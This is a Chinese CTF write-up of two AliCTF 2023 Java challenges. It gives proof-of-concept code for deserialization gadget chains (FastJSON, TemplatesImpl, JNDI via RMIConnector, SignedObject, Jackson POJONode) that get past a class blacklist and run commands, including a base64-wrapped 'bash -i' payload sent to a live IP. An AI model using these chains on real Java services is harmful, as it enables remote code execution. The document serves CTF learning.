AliCTF 2023¶
两个 java 题就放一起了。
ezbean¶
题目有个 read 路由直接反序列化,而且提供了一个 Bean 能够打 rmi,但是反序列化走的是自己的 MyObjectInputStream,其中通过重写 resolveClass 方法 ban 掉了这样一些类:
private static final String[] blacklist = new String[]{
"java\\.security.*", "java\\.rmi.*", "com\\.fasterxml.*", "dev\\.silente\\.javashark\\.solution\\.*",
"org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*"
};
// BadAttributeValueExpException.toString -> FastJSON -> MyBean.getConnect -> RMIConnector.connect
// 有一点需要注意的是在 toString2Getter 中的 Mybean 走的是 SecureObjectInputStream,所以可以直接绕过题目中的 MyObjectInputStream
public static void case1(String jndi) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/" + jndi);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
MyBean myBean = new MyBean(null, null, rmiConnector);
// 也可以使用 toString2GetterJSONObject
// Object json = GFastJson.toString2GetterJSONObject(myBean);
Object json = GFastJson.toString2GetterJSONArray(myBean);
Object poc = GBadAttributeValueExpException.deserialize2ToString(json);
byte[] code = SerializeUtils.serialize(poc);
System.out.println(Base64.getEncoder().encodeToString(code));
deserialize(code);
}
第二个 poc 是利用了 y4 师傅的博客,通过引用类型来达到绕过 SecureObjectInputStream autotype 的目的,这里都不用 MyBean 了,直接可以执行 TemplatesImpl。
// BadAttributeValueExpException.toString -> FastJSON -> TemplatesImpl
public static void case2() throws Exception {
TemplatesImpl templates = STemplates.getEvilTemplates("calc");
Object json = GFastJson.toString2GetterJSONArray(templates);
Object poc = GBadAttributeValueExpException.deserialize2ToString(json);
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(poc);
byte[] code = SerializeUtils.serialize(arrayList);
System.out.println(Base64.getEncoder().encodeToString(code));
deserialize(code);
}
第三个 poc 是 SignedObject 二次反序列化 (其实好像并不需要hh)
// 二次反序列化
// BadAttributeValueExpException.toString -> FastJSON -> SignedObject -> MyBean.getConnect -> RMIConnector.connect
public static void case3(String jndi) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/" + jndi);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
MyBean myBean = new MyBean(null, null, rmiConnector);
// 也可以使用 toString2GetterJSONObject
// Object json = GFastJson.toString2GetterJSONObject(myBean);
Object json = GFastJson.toString2GetterJSONArray(myBean);
Object poc = GBadAttributeValueExpException.deserialize2ToString(json);
byte[] p = SerializeUtils.serialize(poc);
Object obj = GSignedObject.getter2Deserialize(p);
Object json2 = GFastJson.toString2GetterJSONArray(obj);
Object bd = GBadAttributeValueExpException.deserialize2ToString(json2);
byte[] code = SerializeUtils.serialize(bd);
System.out.println(Base64.getEncoder().encodeToString(code));
deserialize(code);
}
参考:
bypassit1¶
只 ban 了一个 get 方法,Templates 其他方法也能弹,这里学到了一个 toString2Getter 的新类:POJONode,原生存在于 springboot 中。
public static void task1() throws Exception {
Object templates = STemplates.getEvilTemplates("bash -c {echo,QWQ}|{base64,-d}|{bash,-i}");
Object json = GPOJONode.toString2Getter(templates);
Object poc = GBadAttributeValueExpException.deserialize2ToString(json);
byte[] code = SerializeUtils.serialize(poc);
MiscUtils.sendToServer("http://112.124.14.13:8070/bypassit", code);
}
序列化时需要改动一下 POJONode 的 writeReplace 方法,要么直接删掉,要么可以这样改:
最后更新:
June 24, 2023 16:07:33
创建日期: June 24, 2023 14:49:04
创建日期: June 24, 2023 14:49:04